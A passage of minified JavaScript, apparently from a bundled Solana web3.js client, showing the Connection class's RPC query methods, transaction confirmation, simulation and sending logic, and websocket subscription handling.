account "+t.toBase58()+": "+r)})}async getBlockTime(t){const n=await this._rpcRequest("getBlockTime",[t]),r=lt(n,nn(ut(je())));if("error"in r)throw new kt(r.error,`failed to get block time for slot ${t}`);return r.result}async getMinimumLedgerSlot(){const t=await this._rpcRequest("minimumLedgerSlot",[]),n=lt(t,nn(je()));if("error"in n)throw new kt(n.error,"failed to get minimum ledger slot");return n.result}async getFirstAvailableBlock(){const t=await this._rpcRequest("getFirstAvailableBlock",[]),n=lt(t,aT);if("error"in n)throw new kt(n.error,"failed to get first available block");return n.result}async getSupply(t){let n={};typeof t=="string"?n={commitment:t}:t?n={...t,commitment:t&&t.commitment||this.commitment}:n={commitment:this.commitment};const r=await this._rpcRequest("getSupply",[n]),o=lt(r,lT);if("error"in o)throw new kt(o.error,"failed to get supply");return o.result}async getTokenSupply(t,n){const r=this._buildArgs([t.toBase58()],n),o=await this._rpcRequest("getTokenSupply",r),i=lt(o,Xn(fg));if("error"in i)throw new kt(i.error,"failed to get token supply");return i.result}async getTokenAccountBalance(t,n){const r=this._buildArgs([t.toBase58()],n),o=await this._rpcRequest("getTokenAccountBalance",r),i=lt(o,Xn(fg));if("error"in i)throw new kt(i.error,"failed to get token account balance");return i.result}async getTokenAccountsByOwner(t,n,r){const{commitment:o,config:i}=Nn(r);let s=[t.toBase58()];"mint"in n?s.push({mint:n.mint.toBase58()}):s.push({programId:n.programId.toBase58()});const a=this._buildArgs(s,o,"base64",i),l=await this._rpcRequest("getTokenAccountsByOwner",a),u=lt(l,cT);if("error"in u)throw new kt(u.error,`failed to get token accounts owned by account ${t.toBase58()}`);return u.result}async getParsedTokenAccountsByOwner(t,n,r){let o=[t.toBase58()];"mint"in n?o.push({mint:n.mint.toBase58()}):o.push({programId:n.programId.toBase58()});const i=this._buildArgs(o,r,"jsonParsed"),s=await this._rpcRequest("getTokenAccountsByOwner",i),a=lt(s,dT);if("error"in a)throw new kt(a.error,`failed to get token accounts owned by account ${t.toBase58()}`);return a.result}async getLargestAccounts(t){const n={...t,commitment:t&&t.commitment||this.commitment},r=n.filter||n.commitment?[n]:[],o=await this._rpcRequest("getLargestAccounts",r),i=lt(o,fT);if("error"in i)throw new kt(i.error,"failed to get largest accounts");return i.result}async getTokenLargestAccounts(t,n){const r=this._buildArgs([t.toBase58()],n),o=await this._rpcRequest("getTokenLargestAccounts",r),i=lt(o,uT);if("error"in i)throw new kt(i.error,"failed to get token largest accounts");return i.result}async getAccountInfoAndContext(t,n){const{commitment:r,config:o}=Nn(n),i=this._buildArgs([t.toBase58()],r,"base64",o),s=await this._rpcRequest("getAccountInfo",i),a=lt(s,Xn(ut(Ad)));if("error"in a)throw new kt(a.error,`failed to get info about account ${t.toBase58()}`);return a.result}async getParsedAccountInfo(t,n){const{commitment:r,config:o}=Nn(n),i=this._buildArgs([t.toBase58()],r,"jsonParsed",o),s=await this._rpcRequest("getAccountInfo",i),a=lt(s,Xn(ut(pg)));if("error"in a)throw new kt(a.error,`failed to get info about account ${t.toBase58()}`);return a.result}async getAccountInfo(t,n){try{return(await this.getAccountInfoAndContext(t,n)).value}catch(r){throw new Error("failed to get info about account "+t.toBase58()+": "+r)}}async getMultipleParsedAccounts(t,n){const{commitment:r,config:o}=Nn(n),i=t.map(u=>u.toBase58()),s=this._buildArgs([i],r,"jsonParsed",o),a=await this._rpcRequest("getMultipleAccounts",s),l=lt(a,Xn(dt(ut(pg))));if("error"in l)throw new kt(l.error,`failed to get info for accounts ${i}`);return l.result}async getMultipleAccountsInfoAndContext(t,n){const{commitment:r,config:o}=Nn(n),i=t.map(u=>u.toBase58()),s=this._buildArgs([i],r,"base64",o),a=await this._rpcRequest("getMultipleAccounts",s),l=lt(a,Xn(dt(ut(Ad))));if("error"in l)throw new kt(l.error,`failed to get info for accounts ${i}`);return l.result}async getMultipleAccountsInfo(t,n){return(await this.getMultipleAccountsInfoAndContext(t,n)).value}async getStakeActivation(t,n,r){const{commitment:o,config:i}=Nn(n),s=this._buildArgs([t.toBase58()],o,void 0,{...i,epoch:r??(i==null?void 0:i.epoch)}),a=await this._rpcRequest("getStakeActivation",s),l=lt(a,nn(vT));if("error"in l)throw new kt(l.error,`failed to get Stake Activation ${t.toBase58()}`);return l.result}async getProgramAccounts(t,n){const{commitment:r,config:o}=Nn(n),{encoding:i,...s}=o||{},a=this._buildArgs([t.toBase58()],r,i||"base64",s),l=await this._rpcRequest("getProgramAccounts",a),u=dt(hT),c=s.withContext===!0?lt(l,Xn(u)):lt(l,nn(u));if("error"in c)throw new kt(c.error,`failed to get accounts owned by program ${t.toBase58()}`);return c.result}async getParsedProgramAccounts(t,n){const{commitment:r,config:o}=Nn(n),i=this._buildArgs([t.toBase58()],r,"jsonParsed",o),s=await this._rpcRequest("getProgramAccounts",i),a=lt(s,nn(dt(mT)));if("error"in a)throw new kt(a.error,`failed to get accounts owned by program ${t.toBase58()}`);return a.result}async confirmTransaction(t,n){var i;let r;if(typeof t=="string")r=t;else{const s=t;if((i=s.abortSignal)!=null&&i.aborted)return Promise.reject(s.abortSignal.reason);r=s.signature}let o;try{o=Qn.decode(r)}catch{throw new Error("signature must be base58 encoded: "+r)}return jn(o.length===64,"signature has invalid length"),typeof t=="string"?await this.confirmTransactionUsingLegacyTimeoutStrategy({commitment:n||this.commitment,signature:r}):"lastValidBlockHeight"in t?await this.confirmTransactionUsingBlockHeightExceedanceStrategy({commitment:n||this.commitment,strategy:t}):await this.confirmTransactionUsingDurableNonceStrategy({commitment:n||this.commitment,strategy:t})}getCancellationPromise(t){return new Promise((n,r)=>{t!=null&&(t.aborted?r(t.reason):t.addEventListener("abort",()=>{r(t.reason)}))})}getTransactionConfirmationPromise({commitment:t,signature:n}){let r,o,i=!1;const s=new Promise((l,u)=>{try{r=this.onSignature(n,(f,p)=>{r=void 0;const m={context:p,value:f};l({__type:Ls.PROCESSED,response:m})},t);const c=new Promise(f=>{r==null?f():o=this._onSubscriptionStateChange(r,p=>{p==="subscribed"&&f()})});(async()=>{if(await c,i)return;const f=await this.getSignatureStatus(n);if(i||f==null)return;const{context:p,value:m}=f;if(m!=null)if(m!=null&&m.err)u(m.err);else{switch(t){case"confirmed":case"single":case"singleGossip":{if(m.confirmationStatus==="processed")return;break}case"finalized":case"max":case"root":{if(m.confirmationStatus==="processed"||m.confirmationStatus==="confirmed")return;break}case"processed":case"recent":}i=!0,l({__type:Ls.PROCESSED,response:{context:p,value:m}})}})()}catch(c){u(c)}});return{abortConfirmation:()=>{o&&(o(),o=void 0),r!=null&&(this.removeSignatureListener(r),r=void 0)},confirmationPromise:s}}async confirmTransactionUsingBlockHeightExceedanceStrategy({commitment:t,strategy:{abortSignal:n,lastValidBlockHeight:r,signature:o}}){let i=!1;const s=new Promise(f=>{const p=async()=>{try{return await this.getBlockHeight(t)}catch{return-1}};(async()=>{let m=await p();if(!i){for(;m<=r;)if(await fu(1e3),i||(m=await p(),i))return;f({__type:Ls.BLOCKHEIGHT_EXCEEDED})}})()}),{abortConfirmation:a,confirmationPromise:l}=this.getTransactionConfirmationPromise({commitment:t,signature:o}),u=this.getCancellationPromise(n);let c;try{const f=await Promise.race([u,l,s]);if(f.__type===Ls.PROCESSED)c=f.response;else throw new iC(o)}finally{i=!0,a()}return c}async confirmTransactionUsingDurableNonceStrategy({commitment:t,strategy:{abortSignal:n,minContextSlot:r,nonceAccountPubkey:o,nonceValue:i,signature:s}}){let a=!1;const l=new Promise(m=>{let g=i,v=null;const I=async()=>{try{const{context:q,value:M}=await this.getNonceAndContext(o,{commitment:t,minContextSlot:r});return v=q.slot,M==null?void 0:M.nonce}catch{return g}};(async()=>{if(g=await I(),!a)for(;;){if(i!==g){m({__type:Ls.NONCE_INVALID,slotInWhichNonceDidAdvance:v});return}if(await fu(2e3),a||(g=await I(),a))return}})()}),{abortConfirmation:u,confirmationPromise:c}=this.getTransactionConfirmationPromise({commitment:t,signature:s}),f=this.getCancellationPromise(n);let p;try{const m=await Promise.race([f,c,l]);if(m.__type===Ls.PROCESSED)p=m.response;else{let g;for(;;){const v=await this.getSignatureStatus(s);if(v==null)break;if(v.context.slot<(m.slotInWhichNonceDidAdvance??r)){await fu(400);continue}g=v;break}if(g!=null&&g.value){const v=t||"finalized",{confirmationStatus:I}=g.value;switch(v){case"processed":case"recent":if(I!=="processed"&&I!=="confirmed"&&I!=="finalized")throw new Gc(s);break;case"confirmed":case"single":case"singleGossip":if(I!=="confirmed"&&I!=="finalized")throw new Gc(s);break;case"finalized":case"max":case"root":if(I!=="finalized")throw new Gc(s);break;default:}p={context:g.context,value:{err:g.value.err}}}else throw new Gc(s)}}finally{a=!0,u()}return p}async confirmTransactionUsingLegacyTimeoutStrategy({commitment:t,signature:n}){let r;const o=new Promise(l=>{let u=this._confirmTransactionInitialTimeout||6e4;switch(t){case"processed":case"recent":case"single":case"confirmed":case"singleGossip":{u=this._confirmTransactionInitialTimeout||3e4;break}}r=setTimeout(()=>l({__type:Ls.TIMED_OUT,timeoutMs:u}),u)}),{abortConfirmation:i,confirmationPromise:s}=this.getTransactionConfirmationPromise({commitment:t,signature:n});let a;try{const l=await Promise.race([s,o]);if(l.__type===Ls.PROCESSED)a=l.response;else throw new sC(n,l.timeoutMs/1e3)}finally{clearTimeout(r),i()}return a}async getClusterNodes(){const t=await this._rpcRequest("getClusterNodes",[]),n=lt(t,nn(dt(kT)));if("error"in n)throw new kt(n.error,"failed to get cluster nodes");return n.result}async getVoteAccounts(t){const n=this._buildArgs([],t),r=await this._rpcRequest("getVoteAccounts",n),o=lt(r,xT);if("error"in o)throw new kt(o.error,"failed to get vote accounts");return o.result}async getSlot(t){const{commitment:n,config:r}=Nn(t),o=this._buildArgs([],n,void 0,r),i=await this._rpcRequest("getSlot",o),s=lt(i,nn(je()));if("error"in s)throw new kt(s.error,"failed to get slot");return s.result}async getSlotLeader(t){const{commitment:n,config:r}=Nn(t),o=this._buildArgs([],n,void 0,r),i=await this._rpcRequest("getSlotLeader",o),s=lt(i,nn(it()));if("error"in s)throw new kt(s.error,"failed to get slot leader");return s.result}async getSlotLeaders(t,n){const r=[t,n],o=await this._rpcRequest("getSlotLeaders",r),i=lt(o,nn(dt(lr)));if("error"in i)throw new kt(i.error,"failed to get slot leaders");return i.result}async getSignatureStatus(t,n){const{context:r,value:o}=await this.getSignatureStatuses([t],n);jn(o.length===1);const i=o[0];return{context:r,value:i}}async getSignatureStatuses(t,n){const r=[t];n&&r.push(n);const o=await this._rpcRequest("getSignatureStatuses",r),i=lt(o,KT);if("error"in i)throw new kt(i.error,"failed to get signature status");return i.result}async getTransactionCount(t){const{commitment:n,config:r}=Nn(t),o=this._buildArgs([],n,void 0,r),i=await this._rpcRequest("getTransactionCount",o),s=lt(i,nn(je()));if("error"in s)throw new kt(s.error,"failed to get transaction count");return s.result}async getTotalSupply(t){return(await this.getSupply({commitment:t,excludeNonCirculatingAccountsList:!0})).value.total}async getInflationGovernor(t){const n=this._buildArgs([],t),r=await this._rpcRequest("getInflationGovernor",n),o=lt(r,tT);if("error"in o)throw new kt(o.error,"failed to get inflation");return o.result}async getInflationReward(t,n,r){const{commitment:o,config:i}=Nn(r),s=this._buildArgs([t.map(u=>u.toBase58())],o,void 0,{...i,epoch:n??(i==null?void 0:i.epoch)}),a=await this._rpcRequest("getInflationReward",s),l=lt(a,BZ);if("error"in l)throw new kt(l.error,"failed to get inflation reward");return l.result}async getInflationRate(){const t=await this._rpcRequest("getInflationRate",[]),n=lt(t,nT);if("error"in n)throw new kt(n.error,"failed to get inflation rate");return n.result}async getEpochInfo(t){const{commitment:n,config:r}=Nn(t),o=this._buildArgs([],n,void 0,r),i=await this._rpcRequest("getEpochInfo",o),s=lt(i,oT);if("error"in s)throw new kt(s.error,"failed to get epoch info");return s.result}async getEpochSchedule(){const t=await this._rpcRequest("getEpochSchedule",[]),n=lt(t,iT);if("error"in n)throw new kt(n.error,"failed to get epoch schedule");const r=n.result;return new zZ(r.slotsPerEpoch,r.leaderScheduleSlotOffset,r.warmup,r.firstNormalEpoch,r.firstNormalSlot)}async getLeaderSchedule(){const t=await this._rpcRequest("getLeaderSchedule",[]),n=lt(t,sT);if("error"in n)throw new kt(n.error,"failed to get leader schedule");return n.result}async getMinimumBalanceForRentExemption(t,n){const r=this._buildArgs([t],n),o=await this._rpcRequest("getMinimumBalanceForRentExemption",r),i=lt(o,RT);return"error"in i?(console.warn("Unable to fetch minimum balance for rent exemption"),0):i.result}async getRecentBlockhashAndContext(t){const n=this._buildArgs([],t),r=await this._rpcRequest("getRecentBlockhash",n),o=lt(r,JT);if("error"in o)throw new kt(o.error,"failed to get recent blockhash");return o.result}async getRecentPerformanceSamples(t){const n=await this._rpcRequest("getRecentPerformanceSamples",t?[t]:[]),r=lt(n,HT);if("error"in r)throw new kt(r.error,"failed to get recent performance samples");return r.result}async getFeeCalculatorForBlockhash(t,n){const r=this._buildArgs([t],n),o=await this._rpcRequest("getFeeCalculatorForBlockhash",r),i=lt(o,PT);if("error"in i)throw new kt(i.error,"failed to get fee calculator");const{context:s,value:a}=i.result;return{context:s,value:a!==null?a.feeCalculator:null}}async getFeeForMessage(t,n){const r=Hu(t.serialize()).toString("base64"),o=this._buildArgs([r],n),i=await this._rpcRequest("getFeeForMessage",o),s=lt(i,Xn(ut(je())));if("error"in s)throw new kt(s.error,"failed to get fee for message");if(s.result===null)throw new Error("invalid blockhash");return s.result}async getRecentPrioritizationFees(t){var s;const n=(s=t==null?void 0:t.lockedWritableAccounts)==null?void 0:s.map(a=>a.toBase58()),r=n!=null&&n.length?[n]:[],o=await this._rpcRequest("getRecentPrioritizationFees",r),i=lt(o,rT);if("error"in i)throw new kt(i.error,"failed to get recent prioritization fees");return i.result}async getRecentBlockhash(t){try{return(await this.getRecentBlockhashAndContext(t)).value}catch(n){throw new Error("failed to get recent blockhash: "+n)}}async getLatestBlockhash(t){try{return(await this.getLatestBlockhashAndContext(t)).value}catch(n){throw new Error("failed to get recent blockhash: "+n)}}async getLatestBlockhashAndContext(t){const{commitment:n,config:r}=Nn(t),o=this._buildArgs([],n,void 0,r),i=await this._rpcRequest("getLatestBlockhash",o),s=lt(i,VT);if("error"in s)throw new kt(s.error,"failed to get latest blockhash");return s.result}async isBlockhashValid(t,n){const{commitment:r,config:o}=Nn(n),i=this._buildArgs([t],r,void 0,o),s=await this._rpcRequest("isBlockhashValid",i),a=lt(s,UT);if("error"in a)throw new kt(a.error,"failed to determine if the blockhash `"+t+"`is valid");return a.result}async getVersion(){const t=await this._rpcRequest("getVersion",[]),n=lt(t,nn(XZ));if("error"in n)throw new kt(n.error,"failed to get version");return n.result}async getGenesisHash(){const t=await this._rpcRequest("getGenesisHash",[]),n=lt(t,nn(it()));if("error"in n)throw new kt(n.error,"failed to get genesis hash");return n.result}async getBlock(t,n){const{commitment:r,config:o}=Nn(n),i=this._buildArgsAtLeastConfirmed([t],r,void 0,o),s=await this._rpcRequest("getBlock",i);try{switch(o==null?void 0:o.transactionDetails){case"accounts":{const a=lt(s,jT);if("error"in a)throw a.error;return a.result}case"none":{const a=lt(s,NT);if("error"in a)throw a.error;return a.result}default:{const a=lt(s,TT);if("error"in a)throw a.error;const{result:l}=a;return l?{...l,transactions:l.transactions.map(({transaction:u,meta:c,version:f})=>({meta:c,transaction:{...u,message:Yv(f,u.message)},version:f}))}:null}}}catch(a){throw new kt(a,"failed to get confirmed block")}}async getParsedBlock(t,n){const{commitment:r,config:o}=Nn(n),i=this._buildArgsAtLeastConfirmed([t],r,"jsonParsed",o),s=await this._rpcRequest("getBlock",i);try{switch(o==null?void 0:o.transactionDetails){case"accounts":{const a=lt(s,GT);if("error"in a)throw a.error;return a.result}case"none":{const a=lt(s,YT);if("error"in a)throw a.error;return a.result}default:{const a=lt(s,WT);if("error"in a)throw a.error;return a.result}}}catch(a){throw new kt(a,"failed to get block")}}async getBlockProduction(t){let n,r;if(typeof t=="string")r=t;else if(t){const{commitment:a,...l}=t;r=a,n=l}const o=this._buildArgs([],r,"base64",n),i=await this._rpcRequest("getBlockProduction",o),s=lt(i,QZ);if("error"in s)throw new kt(s.error,"failed to get block production information");return s.result}async getTransaction(t,n){const{commitment:r,config:o}=Nn(n),i=this._buildArgsAtLeastConfirmed([t],r,void 0,o),s=await this._rpcRequest("getTransaction",i),a=lt(s,Bv);if("error"in a)throw new kt(a.error,"failed to get transaction");const l=a.result;return l&&{...l,transaction:{...l.transaction,message:Yv(l.version,l.transaction.message)}}}async getParsedTransaction(t,n){const{commitment:r,config:o}=Nn(n),i=this._buildArgsAtLeastConfirmed([t],r,"jsonParsed",o),s=await this._rpcRequest("getTransaction",i),a=lt(s,Kf);if("error"in a)throw new kt(a.error,"failed to get transaction");return a.result}async getParsedTransactions(t,n){const{commitment:r,config:o}=Nn(n),i=t.map(l=>({methodName:"getTransaction",args:this._buildArgsAtLeastConfirmed([l],r,"jsonParsed",o)}));return(await this._rpcBatchRequest(i)).map(l=>{const u=lt(l,Kf);if("error"in u)throw new kt(u.error,"failed to get transactions");return u.result})}async getTransactions(t,n){const{commitment:r,config:o}=Nn(n),i=t.map(l=>({methodName:"getTransaction",args:this._buildArgsAtLeastConfirmed([l],r,void 0,o)}));return(await this._rpcBatchRequest(i)).map(l=>{const u=lt(l,Bv);if("error"in u)throw new kt(u.error,"failed to get transactions");const c=u.result;return c&&{...c,transaction:{...c.transaction,message:Yv(c.version,c.transaction.message)}}})}async getConfirmedBlock(t,n){const r=this._buildArgsAtLeastConfirmed([t],n),o=await this._rpcRequest("getConfirmedBlock",r),i=lt(o,BT);if("error"in i)throw new kt(i.error,"failed to get confirmed block");const s=i.result;if(!s)throw new Error("Confirmed block "+t+" not found");const a={...s,transactions:s.transactions.map(({transaction:l,meta:u})=>{const c=new ys(l.message);return{meta:u,transaction:{...l,message:c}}})};return{...a,transactions:a.transactions.map(({transaction:l,meta:u})=>({meta:u,transaction:jr.populate(l.message,l.signatures)}))}}async getBlocks(t,n,r){const o=this._buildArgsAtLeastConfirmed(n!==void 0?[t,n]:[t],r),i=await this._rpcRequest("getBlocks",o),s=lt(i,nn(dt(je())));if("error"in s)throw new kt(s.error,"failed to get blocks");return s.result}async getBlockSignatures(t,n){const r=this._buildArgsAtLeastConfirmed([t],n,void 0,{transactionDetails:"signatures",rewards:!1}),o=await this._rpcRequest("getBlock",r),i=lt(o,Kw);if("error"in i)throw new kt(i.error,"failed to get block");const s=i.result;if(!s)throw new Error("Block "+t+" not found");return s}async getConfirmedBlockSignatures(t,n){const r=this._buildArgsAtLeastConfirmed([t],n,void 0,{transactionDetails:"signatures",rewards:!1}),o=await this._rpcRequest("getConfirmedBlock",r),i=lt(o,Kw);if("error"in i)throw new kt(i.error,"failed to get confirmed block");const s=i.result;if(!s)throw new Error("Confirmed block "+t+" not found");return s}async getConfirmedTransaction(t,n){const r=this._buildArgsAtLeastConfirmed([t],n),o=await this._rpcRequest("getConfirmedTransaction",r),i=lt(o,Bv);if("error"in i)throw new kt(i.error,"failed to get transaction");const s=i.result;if(!s)return s;const a=new ys(s.transaction.message),l=s.transaction.signatures;return{...s,transaction:jr.populate(a,l)}}async getParsedConfirmedTransaction(t,n){const r=this._buildArgsAtLeastConfirmed([t],n,"jsonParsed"),o=await this._rpcRequest("getConfirmedTransaction",r),i=lt(o,Kf);if("error"in i)throw new kt(i.error,"failed to get confirmed transaction");return i.result}async getParsedConfirmedTransactions(t,n){const r=t.map(s=>({methodName:"getConfirmedTransaction",args:this._buildArgsAtLeastConfirmed([s],n,"jsonParsed")}));return(await this._rpcBatchRequest(r)).map(s=>{const a=lt(s,Kf);if("error"in a)throw new kt(a.error,"failed to get confirmed transactions");return a.result})}async getConfirmedSignaturesForAddress(t,n,r){let o={},i=await this.getFirstAvailableBlock();for(;!("until"in o)&&(n--,!(n<=0||n<i));)try{const l=await this.getConfirmedBlockSignatures(n,"finalized");l.signatures.length>0&&(o.until=l.signatures[l.signatures.length-1].toString())}catch(l){if(l instanceof Error&&l.message.includes("skipped"))continue;throw l}let s=await this.getSlot("finalized");for(;!("before"in o)&&(r++,!(r>s));)try{const l=await this.getConfirmedBlockSignatures(r);l.signatures.length>0&&(o.before=l.signatures[l.signatures.length-1].toString())}catch(l){if(l instanceof Error&&l.message.includes("skipped"))continue;throw l}return(await this.getConfirmedSignaturesForAddress2(t,o)).map(l=>l.signature)}async getConfirmedSignaturesForAddress2(t,n,r){const o=this._buildArgsAtLeastConfirmed([t.toBase58()],r,void 0,n),i=await this._rpcRequest("getConfirmedSignaturesForAddress2",o),s=lt(i,gT);if("error"in s)throw new kt(s.error,"failed to get confirmed signatures for address");return s.result}async getSignaturesForAddress(t,n,r){const o=this._buildArgsAtLeastConfirmed([t.toBase58()],r,void 0,n),i=await this._rpcRequest("getSignaturesForAddress",o),s=lt(i,yT);if("error"in s)throw new kt(s.error,"failed to get signatures for address");return s.result}async getAddressLookupTable(t,n){const{context:r,value:o}=await this.getAccountInfoAndContext(t,n);let i=null;return o!==null&&(i=new xw({key:t,state:xw.deserialize(o.data)})),{context:r,value:i}}async getNonceAndContext(t,n){const{context:r,value:o}=await this.getAccountInfoAndContext(t,n);let i=null;return o!==null&&(i=i1.fromAccountData(o.data)),{context:r,value:i}}async getNonce(t,n){return await this.getNonceAndContext(t,n).then(r=>r.value).catch(r=>{throw new Error("failed to get nonce for account "+t.toBase58()+": "+r)})}async requestAirdrop(t,n){const r=await this._rpcRequest("requestAirdrop",[t.toBase58(),n]),o=lt(r,DT);if("error"in o)throw new kt(o.error,`airdrop to ${t.toBase58()} failed`);return o.result}async _blockhashWithExpiryBlockHeight(t){if(!t){for(;this._pollingBlockhash;)await fu(100);const r=Date.now()-this._blockhashInfo.lastFetch>=jZ;if(this._blockhashInfo.latestBlockhash!==null&&!r)return this._blockhashInfo.latestBlockhash}return await this._pollNewBlockhash()}async _pollNewBlockhash(){this._pollingBlockhash=!0;try{const t=Date.now(),n=this._blockhashInfo.latestBlockhash,r=n?n.blockhash:null;for(let o=0;o<50;o++){const i=await this.getLatestBlockhash("finalized");if(r!==i.blockhash)return this._blockhashInfo={latestBlockhash:i,lastFetch:Date.now(),transactionSignatures:[],simulatedSignatures:[]},i;await fu(wZ/2)}throw new Error(`Unable to obtain a new blockhash after ${Date.now()-t}ms`)}finally{this._pollingBlockhash=!1}}async getStakeMinimumDelegation(t){const{commitment:n,config:r}=Nn(t),o=this._buildArgs([],n,"base64",r),i=await this._rpcRequest("getStakeMinimumDelegation",o),s=lt(i,Xn(je()));if("error"in s)throw new kt(s.error,"failed to get stake minimum delegation");return s.result}async simulateTransaction(t,n,r){if("message"in t){const v=t.serialize(),I=en.from(v).toString("base64");if(Array.isArray(n)||r!==void 0)throw new Error("Invalid arguments");const q=n||{};q.encoding="base64","commitment"in q||(q.commitment=this.commitment);const M=[I,q],E=await this._rpcRequest("simulateTransaction",M),x=lt(E,Ow);if("error"in x)throw new Error("failed to simulate transaction: "+x.error.message);return x.result}let o;if(t instanceof jr){let g=t;o=new jr,o.feePayer=g.feePayer,o.instructions=t.instructions,o.nonceInfo=g.nonceInfo,o.signatures=g.signatures}else o=jr.populate(t),o._message=o._json=void 0;if(n!==void 0&&!Array.isArray(n))throw new Error("Invalid arguments");const i=n;if(o.nonceInfo&&i)o.sign(...i);else{let g=this._disableBlockhashCaching;for(;;){const v=await this._blockhashWithExpiryBlockHeight(g);if(o.lastValidBlockHeight=v.lastValidBlockHeight,o.recentBlockhash=v.blockhash,!i)break;if(o.sign(...i),!o.signature)throw new Error("!signature");const I=o.signature.toString("base64");if(!this._blockhashInfo.simulatedSignatures.includes(I)&&!this._blockhashInfo.transactionSignatures.includes(I)){this._blockhashInfo.simulatedSignatures.push(I);break}else g=!0}}const s=o._compile(),a=s.serialize(),u=o._serialize(a).toString("base64"),c={encoding:"base64",commitment:this.commitment};if(r){const g=(Array.isArray(r)?r:s.nonProgramIds()).map(v=>v.toBase58());c.accounts={encoding:"base64",addresses:g}}i&&(c.sigVerify=!0);const f=[u,c],p=await this._rpcRequest("simulateTransaction",f),m=lt(p,Ow);if("error"in m){let g;if("data"in m.error&&(g=m.error.data.logs,g&&Array.isArray(g))){const v=`
    `,I=v+g.join(v);console.error(m.error.message,I)}throw new Cw("failed to simulate transaction: "+m.error.message,g)}return m.result}async sendTransaction(t,n,r){if("version"in t){if(n&&Array.isArray(n))throw new Error("Invalid arguments");const s=t.serialize();return await this.sendRawTransaction(s,n)}if(n===void 0||!Array.isArray(n))throw new Error("Invalid arguments");const o=n;if(t.nonceInfo)t.sign(...o);else{let s=this._disableBlockhashCaching;for(;;){const a=await this._blockhashWithExpiryBlockHeight(s);if(t.lastValidBlockHeight=a.lastValidBlockHeight,t.recentBlockhash=a.blockhash,t.sign(...o),!t.signature)throw new Error("!signature");const l=t.signature.toString("base64");if(this._blockhashInfo.transactionSignatures.includes(l))s=!0;else{this._blockhashInfo.transactionSignatures.push(l);break}}}const i=t.serialize();return await this.sendRawTransaction(i,r)}async sendRawTransaction(t,n){const r=Hu(t).toString("base64");return await this.sendEncodedTransaction(r,n)}async sendEncodedTransaction(t,n){const r={encoding:"base64"},o=n&&n.skipPreflight,i=o===!0?"processed":n&&n.preflightCommitment||this.commitment;n&&n.maxRetries!=null&&(r.maxRetries=n.maxRetries),n&&n.minContextSlot!=null&&(r.minContextSlot=n.minContextSlot),o&&(r.skipPreflight=o),i&&(r.preflightCommitment=i);const s=[t,r],a=await this._rpcRequest("sendTransaction",s),l=lt(a,XT);if("error"in l){let u;throw"data"in l.error&&(u=l.error.data.logs),new Cw("failed to send transaction: "+l.error.message,u)}return l.result}_wsOnOpen(){this._rpcWebSocketConnected=!0,this._rpcWebSocketHeartbeat=setInterval(()=>{(async()=>{try{await this._rpcWebSocket.notify("ping")}catch{}})()},5e3),this._updateSubscriptions()}_wsOnError(t){this._rpcWebSocketConnected=!1,console.error("ws error:",t.message)}_wsOnClose(t){if(this._rpcWebSocketConnected=!1,this._rpcWebSocketGeneration=(this._rpcWebSocketGeneration+1)%Number.MAX_SAFE_INTEGER,this._rpcWebSocketIdleTimeout&&(clearTimeout(this._rpcWebSocketIdleTimeout),this._rpcWebSocketIdleTimeout=null),this._rpcWebSocketHeartbeat&&(clearInterval(this._rpcWebSocketHeartbeat),this._rpcWebSocketHeartbeat=null),t===1e3){this._updateSubscriptions();return}this._subscriptionCallbacksByServerSubscriptionId={},Object.entries(this._subscriptionsByHash).forEach(([n,r])=>{this._setSubscription(n,{...r,state:"pending"})})}_setSubscription(t,n){var o;const r=(o=this._subscriptionsByHash[t])==null?void 0:o.state;if(this._subscriptionsByHash[t]=n,r!==n.state){const i=this._subscriptionStateChangeCallbacksByHash[t];i&&i.forEach(s=>{try{s(n.state)}catch{}})}}_onSubscriptionStateChange(t,n){var i;const r=this._subscriptionHashByClientSubscriptionId[t];if(r==null)return()=>{};const o=(i=this._subscriptionStateChangeCallbacksByHash)[r]||(i[r]=new Set);return o.add(n),()=>{o.delete(n),o.size===0&&delete this._subscriptionStateChangeCallbacksByHash[r]}}async _updateSubscriptions(){if(Object.keys(this._subscriptionsByHash).length===0){this._rpcWebSocketConnected&&(this._rpcWebSocketConnected=!1,this._rpcWebSocketIdleTimeout=setTimeout(()=>{this._rpcWebSocketIdleTimeout=null;try{this._rpcWebSocket.close()}catch(r){r instanceof Error&&console.log(`Error when closing socket connection: ${r.message}`)}},500));return}if(this._rpcWebSocketIdleTimeout!==null&&(clearTimeout(this._rpcWebSocketIdleTimeout),this._rpcWebSocketIdleTimeout=null,this._rpcWebSocketConnected=!0),!this._rpcWebSocketConnected){this._rpcWebSocket.connect();return}const t=this._rpcWebSocketGeneration,n=()=>t===this._rpcWebSocketGeneration;await Promise.all(Object.keys(this._subscriptionsByHash).map(async r=>{const o=this._subscriptionsByHash[r];if(o!==void 0)switch(o.state){case"pending":case"unsubscribed":if(o.callbacks.size===0){delete this._subscriptionsByHash[r],o.state==="unsubscribed"&&delete this._subscriptionCallbacksByServerSubscriptionId[o.serverSubscriptionId],await this._updateSubscriptions();return}await(async()=>{const{args:i,method:s}=o;try{this._setSubscription(r,{...o,state:"subscribing"});const a=await this._rpcWebSocket.call(s,i);this._setSubscription(r,{...o,serverSubscriptionId:a,state:"subscribed"}),this._subscriptionCallbacksByServerSubscriptionId[a]=o.callbacks,await this._updateSubscriptions()}catch(a){if(a instanceof Error&&console.error(`${s} error for argument`,i,a.message),!n())return;this._setSubscription(r,{...o,state:"pending"}),await this._updateSubscriptions()}})();break;case"subscribed":o.callbacks.size===0&&await(async()=>{const{serverSubscriptionId:i,unsubscribeMethod:s}=o;if(this._subscriptionsAutoDisposedByRpc.has(i))this._subscriptionsAutoDisposedByRpc.delete(i);else{this._setSubscription(r,{...o,state:"unsubscribing"}),this._setSubscription(r,{...o,state:"unsubscribing"});try{await this._rpcWebSocket.call(s,[i])}catch(a){if(a instanceof Error&&console.error(`${s} error:`,a.message),!n())return;this._setSubscription(r,{...o,state:"subscribed"}),await this._updateSubscriptions();return}}this._setSubscription(r,{...o,state:"unsubscribed"}),await this._updateSubscriptions()})();break}}))}_handleServerNotification(t,n){const r=this._subscriptionCallbacksByServerSubscriptionId[t];r!==void 0&&r.forEach(o=>{try{o(...n)}catch(i){console.error(i)}})}_wsOnAccountNotification(t){const{result:n,subscription:r}=lt(t,bT);this._handleServerNotification(r,[n.value,n.context])}_makeSubscription(t,n){const r=this._nextClientSubscriptionId++,o=Mw([t.method,n]),i=this._subscriptionsByHash[o];return i===void 0?this._subscriptionsByHash[o]={...t,args:n,callbacks:new 